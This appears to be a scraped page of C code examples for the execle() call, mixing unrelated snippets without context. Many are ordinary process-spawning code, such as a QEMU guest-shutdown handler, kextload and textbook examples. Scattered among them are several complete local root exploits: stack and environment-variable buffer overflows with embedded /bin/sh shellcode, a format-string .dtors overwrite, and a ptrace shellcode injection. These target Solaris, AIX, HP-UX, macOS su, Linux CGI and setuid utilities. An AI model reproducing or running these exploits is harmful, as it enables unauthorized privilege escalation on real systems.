main() {
pid_t pid;
int e;
char *env[] = { "TERM=xterm", (char *)0 };	
	
	pid=fork();
	if(pid==0){
		execle("/usr/bin/clear","clear", (char *)0,env);
	}
	else{
		wait(&e);
		exit(1);
	}		
}
Exemple #2
0
bool simulation::execute(string dna, uint32 id)
{
    int status, ret;
    pid_t pid;
    string args;

    setup_input_file(dna, id);

    if (!file_exists(get_bin_path(id).c_str()))
    {
        INFO("verbose", "* simulation: simulator binary does not exists.\n");
        exit(0);
    }

    pid = fork(); // con vfork gdb si blocca
    if (pid == 0)
    {
        int fd;
        ret = chdir((char *)get_sim_path(id).c_str());

        if((fd = open("/dev/null", O_RDWR | O_CREAT, 0777)) == -1)
        {
            perror("open");
            _exit(0);
        }

        dup2(fd, STDOUT_FILENO);
        dup2(fd, STDERR_FILENO);
        close(fd);

        ret = execle(get_bin_path(id).c_str(),
                     conf->get_string_config(CONFIG_SIMULATOR_BIN).c_str(),
                     "-N", "1", "-a",
                     conf->get_string_config(CONFIG_TEST_FILE_OUT).c_str()
                     , NULL, environ);

        perror("execle"); // qui non ci arriva mai ( si spera :D )
        _exit(0);
    }
    else if (pid == -1)
    {
        perror("fork");
        return false;
    }

    waitpid(pid, &status, 0);

    return true;
}
Exemple #3
0
int main (int argc, char **argv)
{
    char p[SIZE];
    char * env[] = {shellcode, NULL};
    char *vuln[] = { VULN, p, VULN};
    int *ptr, i, addr;
    addr = 0xbffffffa - strlen(shellcode) -strlen(VULN);
    fprintf(stderr, "[***] using address: %#010x\n", addr );
    ptr = (int * )(p+2);
    for(i = 0; i < SIZE; i+=4){
      *ptr += addr;
    }
    execle(vuln[0],(char*)vuln,p,NULL,env);
    exit(1);
}
Exemple #4
0
/* -----------------------------------------------------------------------------
----------------------------------------------------------------------------- */
u_long load_kext(char *kext, int byBundleID)
{
    int pid;

    if ((pid = fork()) < 0)
        return 1;

    if (pid == 0) {
        closeall();
        // PPP kernel extension not loaded, try load it...
		if (byBundleID)
			execle("/sbin/kextload", "kextload", "-b", kext, (char *)0, (char *)0);
		else
			execle("/sbin/kextload", "kextload", kext, (char *)0, (char *)0);
        exit(1);
    }

    while (waitpid(pid, 0, 0) < 0) {
        if (errno == EINTR)
            continue;
       return 1;
    }
    return 0;
}
Exemple #5
0
int main(int argc, char **argv)
{
	char 	buf[BUF];
	char	*p = buf;

	int	n1, n2, offset = OFFSET;
	int	ret1, ret2;

	/* put shellcode in environment */
	char	*envp[2] = {sc, NULL};
	int	ret = 0xbffffffa - strlen(sc) - strlen(VULN);

	/* check command line for offset */
	if (argc > 1)
		offset = atoi(argv[1]);

	/* split the ret address in 2 words */
	SPLITW(ret1, ret2, ret);

	/* initialize the malicious buffer */
	bzero(buf, BUF);

	/* address part of the format string */
	*((void **)p) = (void *)(DTORS);
	p += 4;
	*((void **)p) = (void *)(DTORS + 2);
	p += 4;

	/* calculate numeric arguments for the write string */
	n1 = (ret1 - strlen(buf))		% 0x10000;
	n2 = (ret2 - strlen(buf) - n1)		% 0x10000;

	/* check for potentially dangerous numeric arguments below 10 */
	n1 += (n1 < 10) ? (0x10000) : (0);
	n2 += (n2 < 10) ? (0x10000) : (0);

	/* build the write string part of the format string */
	sprintf(p, "%%.%du%%%d$hn%%.%du%%%d$hn", n1, offset, n2, offset + 1);

	/* print some output */
	fprintf(stderr, "Using .dtors address\t: %p\n", DTORS);
	fprintf(stderr, "Using ret address\t: %p\n", ret);
	fprintf(stderr, "Using format string\t: %s\n\n", buf);

	/* run the vulnerable program */
	execle(VULN, VULN + 2, buf, NULL, envp);
	perror("execle");
}
Exemple #6
0
static void
delivery_mbox_open(struct deliver *deliver)
{
	char	*environ_new[2];

	environ_new[0] = "PATH=" _PATH_DEFPATH;
	environ_new[1] = (char *)NULL;
	environ = environ_new;

	if (deliver->from[0] == '\0')
		strlcpy(deliver->from, "MAILER-DAEMON", sizeof deliver->from);
	execle(PATH_MAILLOCAL, PATH_MAILLOCAL, "-f", deliver->from,
	    deliver->to, (char *)NULL, environ_new);
	perror("execle");
	_exit(1);
}
Exemple #7
0
int main(int argc, char *argv[])
{
	char *envVec[] = {"GREET=salut", "BYE=adieu", NULL};
	char *filename;

	if(argc!=2 || !strcmp(argv[1], "--help"))
		usageErr("%s pathname\n", argv[0]);

	filename = strrchr(argv[1], '/');
	if(filename != NULL)
		++filename;
	else
		filename = argv[1];

	execle(argv[1], filename, "hello word", (char*) NULL, envVec);
	errExit("execle()");
}
main(int argc,char **argv){
    char buffer[10000],adr[4],*b; 
    int i;

    printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland  //lsd-pl.net/\n");
    printf("libnsl.so gethostbyname() for solaris 2.5 2.5.1 sparc\n\n");

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()-7988+5460;

    b=buffer;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    execle("/usr/bin/rlogin","rlogin",buffer,0,0);
}
Exemple #9
0
int execle_test(void)
{
    pid_t pid;
    if ((pid = fork()) < 0) {
        printf("fork error\r\n");
    } else if (pid == 0) { /* child */
        if (execle("/bin/echoall.exe","echoall","myarg1",(char *)0,env_init) < 0){
            printf("execle error\r\n");
        }	
    }
	
    if (waitpid(pid, NULL, 0) < 0) {
        printf("wait error\r\n");
    }	
	
    exit(0);
}
int main(int argc,char *argv[])
{
	FILE *fp;
	int r_rn=0;
	char *ent_r[3],atck_d[0x82];
	char shellcode[]=
		"\220@\220@\220@\220@\220@\220@\220@\220@\220@"
		"\220@\220@\220@\220@\220@\220@\220@\220@\220@"
		"1\300\260F1\3331\311\315\2001\300\260G1\3331"
		"\311\315\200\353\037^\211v\b1\300\210F\007"
		"\211F\f\260\013\211\363\215N\b\215V\f\315\2001"
		"\333\211\330@\315\200\350\334\377\377\377"
		"/bin/sh";

	unsigned long sh_addr=(0xbfffffff-(strlen(shellcode)));
	memset((char *)atck_d,0,sizeof(atck_d));

	fprintf(stdout,"\n 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 POC exploit.\n\n");

	if(argc<2)
	{
		fprintf(stdout," Usage: %s [musicqueue.cgi path]\n\n",argv[0]);
		exit(-1);
	}
	else sh_addr-=(strlen(argv[1]));

	atck_d[r_rn++]=0x82;
	for(;r_rn<44;r_rn+=4)
	{
		*(long *)&atck_d[r_rn]=sh_addr;
	}

	if((fp=fopen("musicqueue.conf","w"))==NULL)
	{
	fprintf(stderr," [-] musicqueue.conf fopen() error.\n\n");
	return(-1);
	}
	fprintf(fp,"language = %s\n",atck_d);
	fclose(fp);

	ent_r[0]="REQUEST_METHOD=GET";
	ent_r[1]=(shellcode);
	ent_r[2]=(NULL);
	execle(argv[1],"musicqueue.cgi",NULL,ent_r);
}
int main(void){
 unsigned int i=0;
 char *buf,*env[3];
 printf("(*)MacOS X[CF_CHARSET_PATH]: local root exploit.\n");
 printf("(*)by: [email protected], found by iDefense adv. (anon)\n\n");
 if(!(buf=(char *)malloc(1100+1)))exit(1);
 memcpy(buf,"CF_CHARSET_PATH=",16);
 printf("[*] setting up the environment.\n");
 for(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));
 env[0]=buf;
 env[1]=exec;
 env[2]=NULL;
 printf("[*] executing su... (press ENTER at the \"Password: \""
 " prompt)\n\n");
 if(execle("/usr/bin/su","su",0,env))
  printf("[!] failed executing /usr/bin/su.\n");
 exit(0);
}
int main(int argc, char *argv[]) {
 char egg[EGGSIZE], ret[RETSIZE];
 int i, eggsize = EGGSIZE, retsize = RETSIZE, nop = NOP, offset=OFFSET;
 long *address;
  
 if(argc > 1){ offset = atoi(argv[1]); }
 (char *)address = get_sp - offset;
 fprintf(stderr, "Using addr: 0x%x\n", address);

 memset(egg, nop, eggsize);
 memcpy(egg+(eggsize - strlen(shellcode) - 1), shellcode, strlen(shellcode));
 for(i=0; i < retsize; i+=4) *(int *)&ret[i]=address;

 if(execle("/usr/local/bin/xklock", egg, "-bg", ret, NULL, NULL)) {
  fprintf(stderr,"Unable to execute /usr/local/bin/xklock\n");
  exit(1);
 }
}
Exemple #13
0
int
main(int argc, char *argv[])
{
    char *envVec[] = { "GREET=salut", "BYE=adieu", NULL };
    char *filename;

    if (argc != 2 || strcmp(argv[1], "--help") == 0)
        usageErr("%s pathname\n", argv[0]);

    filename = strrchr(argv[1], '/');       /* Get basename from argv[1] */
    if (filename != NULL)
        filename++;
    else
        filename = argv[1];

    execle(argv[1], filename, "hello world", (char *) NULL, envVec);
    errExit("execle");          /* If we get here, something went wrong */
}
void qmp_guest_shutdown(bool has_mode, const char *mode, Error **err)
{
    const char *shutdown_flag;
    pid_t rpid, pid;
    int status;

    slog("guest-shutdown called, mode: %s", mode);
    if (!has_mode || strcmp(mode, "powerdown") == 0) {
        shutdown_flag = "-P";
    } else if (strcmp(mode, "halt") == 0) {
        shutdown_flag = "-H";
    } else if (strcmp(mode, "reboot") == 0) {
        shutdown_flag = "-r";
    } else {
        error_set(err, QERR_INVALID_PARAMETER_VALUE, "mode",
                  "halt|powerdown|reboot");
        return;
    }

    pid = fork();
    if (pid == 0) {
        /* child, start the shutdown */
        setsid();
        reopen_fd_to_null(0);
        reopen_fd_to_null(1);
        reopen_fd_to_null(2);

        execle("/sbin/shutdown", "shutdown", shutdown_flag, "+0",
               "hypervisor initiated shutdown", (char*)NULL, environ);
        _exit(EXIT_FAILURE);
    } else if (pid < 0) {
        goto exit_err;
    }

    do {
        rpid = waitpid(pid, &status, 0);
    } while (rpid == -1 && errno == EINTR);
    if (rpid == pid && WIFEXITED(status) && !WEXITSTATUS(status)) {
        return;
    }

exit_err:
    error_set(err, QERR_UNDEFINED_ERROR);
}
Exemple #15
0
int main()
{
	int i;
	char out[SIZE];
	char *own[] = { shellcode, 0x0 };

	int *hztty = (int *)(out);
	int ret = 0xbffffffa - strlen(BIN) - strlen(shellcode);

	for (i=0 ; i<SIZE-1 ; i+=4)
		*hztty++ = ret;

	hztty = 0x0;

	fprintf (stdout, "\n ---  local root exploit for hztty 2.0  ---\n");
	fprintf (stdout, " ---  coded by c0wboy ~ www.0x333.org   ---\n\n");

	execle (BIN, BIN, "-I", out, 0x0, own, 0x0);
}
Exemple #16
0
int Action_exec(Action *action, Profile *prof)
{
    int rc = 0;
    char *procer_run_log = NULL;

    bstring pidfile_env = bformat("PROCER_PIDFILE=%s", bdata(prof->pid_file)); 
    putenv(bdata(pidfile_env));

    bstring action_env = bformat("PROCER_ACTION=%s", bdata(action->name)); 
    putenv(bdata(action_env));

    debug("ACTION: command=%s, pid_file=%s, restart=%d, depends=%s",
            bdata(prof->command), bdata(prof->pid_file), prof->restart,
            bdata(action->depends));

    pid_t pid = fork();
    check(pid >= 0, "Fork failed, WTF.  How can fork fail?");

    if(pid == 0) {
        rc = Unixy_drop_priv(action->profile_dir);

        if(rc != 0) {
            log_err("Not fatal, but we couldn't drop priv for %s",
                    bdata(action->name));
        }

        if( (procer_run_log = getenv("PROCER_RUN_LOG")) == NULL)
            procer_run_log = "run.log";
        redirect_output(procer_run_log);

        rc = execle(bdatae(prof->command, ""), bdatae(prof->command, ""), NULL, environ);
        check(rc != -1, "Failed to exec command: %s", bdata(prof->command));
    } else {
        int status = 0;
        debug("WAITING FOR CHILD.");
        pid = waitpid(pid, &status, 0);
    }

    debug("Command ran and exited successfully, now looking for the PID file.");
    return 0;
error:
    return -1;
}
Exemple #17
0
int main(int argc, char** argv){
/*If even new root directory isn't specified - show usage info and terminate the program*/
if(argc==1)usage(help_str);
/*If chroot impossible - write error message to stderr and terminate the program*/
/*Error also appears if user isn't root - only root can use chroot.*/
if(chroot(argv[1]) || chdir("/"))ferr(progname);
if(argv[2]){
/*If program, specified in second argument cannot be found or executed in new root - write error message and terminate the program.*/
	if(execvp(argv[2], &argv[2]))ferr(progname);
}
else {
/*If no command is specified in second argument - try to start shell.*/
	char *shell;
	if((shell=getenv("SHELL"))==NULL || *shell == '\0')shell="sh";
/*If shell, specified in $SHELL variable isn't available in chroot environment - try to execute sh. If failed - report error and exit.*/
	if(execle(shell, shell, (char *)NULL, srcpth))ferr(progname);
}
return 0;
}
Exemple #18
0
/* main, menu */
void quit (void) {
	int choice;

	choice = getchoice (ppid == 1, " Demos Commander ",
		ppid == 1 ? "Do you want to log out ?" :
		"Do you want to quit the Demos Commander ?",
		NULL, " Yes ", " No ", " Exec shell ");
	if (choice == 0)
		quitdeco ();
	if (choice == 2) {
		/* exec shell */
		VClear ();
		VSync ();
		v.VClose();
		execle (ABSSHELL, SHELL, "-i", NULL, EnvVector);
		exit (0);
	}
	/* else stay here */
}
Exemple #19
0
/**
 * Spawns an instance of the FM component.
 * 
 * @param instance Instance number the component belongs to 
 * @param component Integer representation of the component 
 *  				(1 = SM, 2 = FE)
 * @return int PID spawned or -1 if an error has occurred
 */
int spawn(const unsigned int instance, const int component){
	sigset_t mask;
	int *pids;
	int pid;
	char prog[32], name[32];
	if (instance >= FM_MAX_INSTANCES){
		fprintf(stderr, "Invalid instance number.\n");
		return -1;
	}
	if ((pids = componentToPIDArray(component)) == NULL){
		fprintf(stderr, "spawn: Invalid component number %d.\n", component);
		return -1;
	}
	if (pids[instance] != 0 && kill(pids[instance], 0) == 0){
		fprintf(stderr, "Instance %d of %s is already running.\n", instance, componentToString(component));
		return -1;
	}
	if (!config.instance[instance].component[component].enabled){
		fprintf(stderr, "Instance %d of %s is not enabled. Please enable instance in %s\n", instance, componentToString(component), FM_XML_CONFIG);
		return -1;
	}
	switch(pid = fork()){
	case 0:
		sigemptyset(&mask);
		sigaddset(&mask,SIGTERM);
		sigaddset(&mask,SIGCHLD);
		sigaddset(&mask,SIGHUP);
		sigprocmask(SIG_UNBLOCK, &mask, NULL);
		sprintf(prog, "/usr/lib/opa-fm/runtime/%s", componentToExecName(component));
		sprintf(name, "%s_%d", componentToExecName(component), instance);
		execle(prog, prog, "-e", name, NULL, nullEnv);
		break;
	case -1:
		fprintf(stderr, "Failed to start %s for instance %d.\n", componentToString(component), instance);
		break;
	default:
		fprintf(stdout, "Started instance %d of %s.\n", instance, componentToString(component));
		if(pid > 0) pids[instance] = pid;
		break;
	}
	return pid;
}
Exemple #20
0
int exec_and_rw(const char *proc, int *proc_stdout, pid_t *child,
                char *const envp[])
{
        int fds1[2];
        int fds2[2];

        if (pipe(fds1) || pipe(fds2))
                dub_sysdie("Couldn't open pipe (exec_and_rw)");
       
        signal(SIGCLD, SIG_IGN);
        
        if (!(*child = fork())){
                
                close(fds1[1]);
                close(fds2[0]);
                
                dup2(fds1[0], 0);
                close(fds1[0]);
                
                dup2(fds2[1], 1);
                close(fds2[1]);
                
                if (envp){
                        if (execle(proc, proc, NULL, envp))
                                dub_sysdie("Exec failed");
                }else
                        if (execlp(proc, proc, NULL))
                                dub_sysdie("Exec failed");
                
        }else{
                close(fds1[0]);
                close(fds2[1]);

                *proc_stdout = fds2[0];
                
                return fds1[1];
        }

        /* never happens */
        return 0;

}
Exemple #21
0
int main(int argc,char* argv[])
{
int esp, eip, i = 0;
struct user_regs_struct regs;
char *env[] = {"HISTFILE=/dev/null",NULL};
pid_t pid;
printf("[ SCO Unixware 7.1.3 local root exploit\n");
if(argc < 2)
{
printf("[ Usage: [binary]\n");
printf("[ e.g -rwsr-sr-x root root /linux/opt/kde2/bin/kcheckpass\n");
exit(0);
}
switch (pid = fork())
{
case -1:
perror("fork");
break;
case 0: 
ptrace(PTRACE_TRACEME, 0, 0, 0); 
pid = getpid();
execle(argv[1],argv[1],NULL,env); 
break;
default: 
waitpid(pid, NULL, 0); 
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
esp = eip = regs.esp - 512;
while (i < strlen(shellcode)) 
{
ptrace(PTRACE_POKETEXT, pid, esp, (int) *(int *) (shellcode + i));
i += 4;
esp += 4;
}
regs.eip = (long) eip;
printf("[ Using 0x%x\n",regs.eip); 
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
ptrace(PTRACE_DETACH, pid, NULL,NULL);
}
usleep(1);
wait(0);
return 0;
}
Exemple #22
0
int main(int argc, char *argv[])
{
	char *env[2] = {sc, NULL};
	char buf[BUF];
	int i;

	int *p = (int *)(buf);
	int ret = 0xbffffffa - strlen(sc) - strlen(VULN);

	fprintf(stderr, "Using ret: %p\n", ret);

	/* place our ret into the whole buffer */
	for (i = 0; i < BUF - 1; i += 4)
		*p++ = ret;
	*p = 0x0;

	/* run the vulnerable program */
	execle(VULN, VULN + 2, buf, NULL, env);
	perror("execle");
}
Exemple #23
0
main(int argc,char **argv){
    char buffer[20000],*b,adr[4],pch[4],jmp[4],*envp[4],display[128];
    unsigned int i;

    printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland  //lsd-pl.net/\n");
    printf("/usr/dt/bin/dtsession for solaris 2.7 (2.6,2.8 ?) x86\n\n");

    if(argc!=2){
        printf("usage: %s xserver:display\n",argv[0]);
        exit(-1);
    }

    *((unsigned int*)adr)=((*(unsigned int(*)())jump)())+3540+3000-0x4d0;
    *((unsigned int*)pch)=((*(unsigned int(*)())jump)())+3540+3000+6000;
    *((unsigned int*)jmp)=((*(unsigned int(*)())jump)())+3540+3000+6000+6000;

    *((unsigned int*)adr)=(((i=*((unsigned int*)adr))>>8))|(i<<24);

    sprintf(display,"DISPLAY=%s",argv[1]);
    envp[0]=&buffer[0];
    envp[1]=&buffer[19000];
    envp[2]=display;
    envp[3]=0;

    b=buffer;
    sprintf(b,"xxx=");
    b+=4;
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    for(i=0;i<JMPNUM;i++) *b++=jmp[i%4];
    for(i=0;i<NOPNUM;i++) *b++=0x90;
    for(i=0;i<strlen(setuidshellcode);i++) *b++=setuidshellcode[i];
    *b=0;

    b=&buffer[19000];
    sprintf(b,"LANG=");
    b+=5;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    execle("/usr/dt/bin/dtsession","lsd",0,envp);
}
Exemple #24
0
main(int argc,char **argv,char **e){
    char buffer[20000],adr[4],*b,*envp[4];
    int i,align;

    printf("copyright LAST STAGE OF DELIRIUM dec 2000 poland  //lsd-pl.net/\n");
    printf("/usr/lib/lpd/piobe for aix 4.1 4.2 4.3 4.3.x PowerPC/POWER\n\n");

    if(argc<2){
        printf("usage: %s 41|42|43|433\n",argv[0]);exit(-1);
    }

    switch(atoi(argv[1])){
    case  41: shellcode[55]=0x03;align=2; break;
    case  42: shellcode[55]=0x02;align=0; break;
    case  43: shellcode[55]=0x04;align=0; break;
    case 433: shellcode[55]=0x03;align=0; break;
    default: exit(-1);
    }

    i=0; while(*e++) i+=strlen(*e)+1;
    *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000;

    envp[0]="PIOSTATUSFILE=lsd";
    envp[1]=buffer;
    envp[2]=&buffer[3500];
    envp[3]=0;

    b=buffer;
    strcpy(b,"PIOVARDIR=");b+=10;
    for(i=0;i<align;i++) *b++=' ';
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    b=&buffer[3500];
    sprintf(b,"xxx=");b+=4;
    for(i=0;i<3-align;i++) *b++=' ';
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];

    execle("/usr/lib/lpd/piobe","lsd",0,envp);
}
Exemple #25
0
static int
start_logout_process(void)
{
    char *prog, *argv0;
    pid_t pid;

    prog = login_conf_get_string("logout_program");
    if(prog == NULL)
	return 0;
    argv0 = strrchr(prog, '/');

    if(argv0)
	argv0++;
    else
	argv0 = prog;

    pid = fork();
    if(pid == 0) {
	/* avoid getting signals sent to the shell */
	setpgid(0, getpid());
	return 0;
    }
    if(pid == -1)
	err(1, "fork");
    /* wait for the real login process to exit */
#ifdef HAVE_SETPROCTITLE
    setproctitle("waitpid %d", pid);
#endif
    while(1) {
	int status;
	int ret;
	ret = waitpid(pid, &status, 0);
	if(ret > 0) {
	    if(WIFEXITED(status) || WIFSIGNALED(status)) {
		execle(prog, argv0, NULL, env);
		err(1, "exec %s", prog);
	    }
	} else if(ret < 0)
	    err(1, "waitpid");
    }
}
Exemple #26
0
int
main(void)
{
    pid_t   pid;
    if ((pid = fork()) < 0) {
        err_sys("fork error");
    } else if (pid == 0) {  /* specify pathname, specify environment */
        if (execle("/home/sar/bin/echoall", "echoall", "myarg1",
                "MY ARG2", (char *)0, env_init) < 0)
            err_sys("execle error");
    }
    if (waitpid(pid, NULL, 0) < 0)
        err_sys("wait error");
    if ((pid = fork()) < 0) {
        err_sys("fork error");
    } else if (pid == 0) {  /* specify filename, inherit environment */
        if (execlp("echoall", "echoall", "only 1 arg", (char *)0) < 0)
            err_sys("execlp error");
    }
    exit(0);
}
Exemple #27
0
int main(){
        char adr[4],*b,*a,*c,*envp[1];
        int i;
	*(unsigned long*)adr=0x7f7f0434;
	printf("[ HP-UX 11i 'swpackage' local root exploit\n");
        b=(char*)malloc(2048);
	a=b;
	memset(b,0,2048);
	memset(b,'a',1053);
	b+=1053;
        for(i=0;i<4;i++) *b++=adr[i%4];
	c=(char*)malloc(2048);
	b=c;
	memset(c,0,2048);
	sprintf(c,"PATH=");
	b+=5;
	for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
	envp[0]=c;
	envp[1]=0;
        execle("/usr/sbin/swpackage","swpackage","-S",a,0,envp);
}
Exemple #28
0
void
local_login(rc_handle *rh, char *username)
{
	char *login_local = rc_conf_str(rh, "login_local");

	/* login should spot this... but who knows what old /bin/logins
	 * may be still around
	 */
	if (*username == '-') {
		rc_log(LOG_WARNING, "username can't start with a dash");
		exit(ERROR_RC);
	}
	/* the new shadow login seems to require either a -r or a -h
	 * flag for -f to work (so source code, lmain.c) so we supply
	 * it here. shouldn't hurt on other systems,	-lf, 03/13/96
	 */
	execle(login_local, login_local, "-h", "localhost", "-f", username, NULL, env->env);
	rc_log(LOG_ERR, "couldn't execute %s: %s", login_local, strerror(errno));
	sleep(1);	/* give the user time to read */
	exit(ERROR_RC);
}
/* Without argument, executes once.
   Otherwise first arg indicates nr of times the process will exec
   itself, each time increasing the size of the environment
   by about 50 characters. */
int main(int argc, char **argv, char** envp)
{
    pthread_t thr[50];
    int i, err;

    for (i = 0; i < sizeof(thr) / sizeof(*thr); i++) {
        err = pthread_create(&thr[i], NULL, nop, NULL);
        assert(!err);
    }

    alloca(4096);
    __yell();

    for (i = 0; i < sizeof(thr) / sizeof(*thr); i++)
        pthread_join(thr[i], NULL);

    if ( argc == 2 && atoi(argv[1]) > 0) {
       /* exec ourselves with some more env */
       char** new_env;
       char more_env[100];
       char n[10];
       int j;

       sprintf(more_env, "N%d=ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ",  atoi(argv[1]));
       for (j = 0; envp[j]; j++)
          ;
       new_env = malloc((j+2) * sizeof(char*));
       assert (new_env != NULL);
       for (i = 0; i < j; i++)
          new_env[i] = envp[i];
       new_env[i++] = more_env;
       new_env[i++] = NULL;
       assert(i == j+2);
       sprintf (n, "%d",  atoi(argv[1]) - 1);
       // system ("env | wc");
       execle(argv[0], argv[0], n, NULL, new_env);
       assert(0);
    } else
       return 0;
}
Exemple #30
0
int exec_and_write(const char *proc, int *proc_stdout, pid_t *child,
                        char *const envp[])
{
        int fds[2];

        if (pipe(fds))
                dub_sysdie("Couldn't open pipe (exec_and_write)");
       
        signal(SIGCLD, SIG_IGN);
        
        if (!(*child = fork())){
                
                if (proc_stdout){
                        dup2(*proc_stdout, 1);
                        close(*proc_stdout);
                }
                
                close(fds[1]);
                
                dup2(fds[0], 0);
                close(fds[0]);
                
                if (envp){
                        if (execle(proc, proc, NULL, envp))
                                dub_sysdie("Exec failed");
                }else
                        if (execlp(proc, proc, NULL))
                                dub_sysdie("Exec failed");
                
        }else{
                if (proc_stdout)
                        close(*proc_stdout);
                
                close(fds[0]);
                return fds[1];
        }

        /* never happens */
        return 0;
}